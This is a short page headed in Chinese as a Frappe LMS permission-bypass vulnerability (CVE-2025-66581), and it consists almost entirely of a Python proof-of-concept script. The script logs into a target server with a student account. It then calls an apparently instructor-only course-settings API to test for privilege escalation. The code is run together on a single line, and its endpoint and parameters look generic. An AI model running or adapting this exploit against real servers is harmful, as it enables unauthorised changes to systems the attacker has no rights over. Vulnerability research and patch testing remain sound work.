Frappe LMS 权限绕过漏洞 (CVE-2025-66581)

# CVE-2025-66581 PoC - Frappe LMS Privilege Escalation # This PoC demonstrates how a low-privilege user can perform admin/instructor actions import requests import json TARGET_URL = "https://vulnerable-server.com" LOGIN_URL = f"{TARGET_URL}/api/method/login" API_URL = f"{TARGET_URL}/api/method/" # Step 1: Login with low-privilege student account student_credentials = { "usr": "[email protected]", "pwd": "student_password" } session = requests.Session() login_response = session.post(LOGIN_URL, json=student_credentials) if login_response.status_code == 200: print("[+] Successfully logged in as student") # Step 2: Attempt to access instructor/admin functionality # Example: Access course management API (should be restricted) headers = { "Content-Type": "application/json", "X-Frappe-CSRF-Token": session.cookies.get("sid") } # Example: Try to modify course settings malicious_request = { "course_id": "course-123", "action": "update_settings", "new_settings": { "access_level": "restricted", "enrollment_approval": False } } # This request should be blocked by server-side authorization # but due to the vulnerability, it may succeed exploit_response = session.post( f"{API_URL}lms.course.update_settings", json=malicious_request, headers=headers ) if exploit_response.status_code == 200: print("[!] VULNERABLE: Request succeeded - privilege escalation possible") print(f"Response: {exploit_response.text}") else: print("[-] Request blocked (system may be patched)") else: print("[-] Login failed")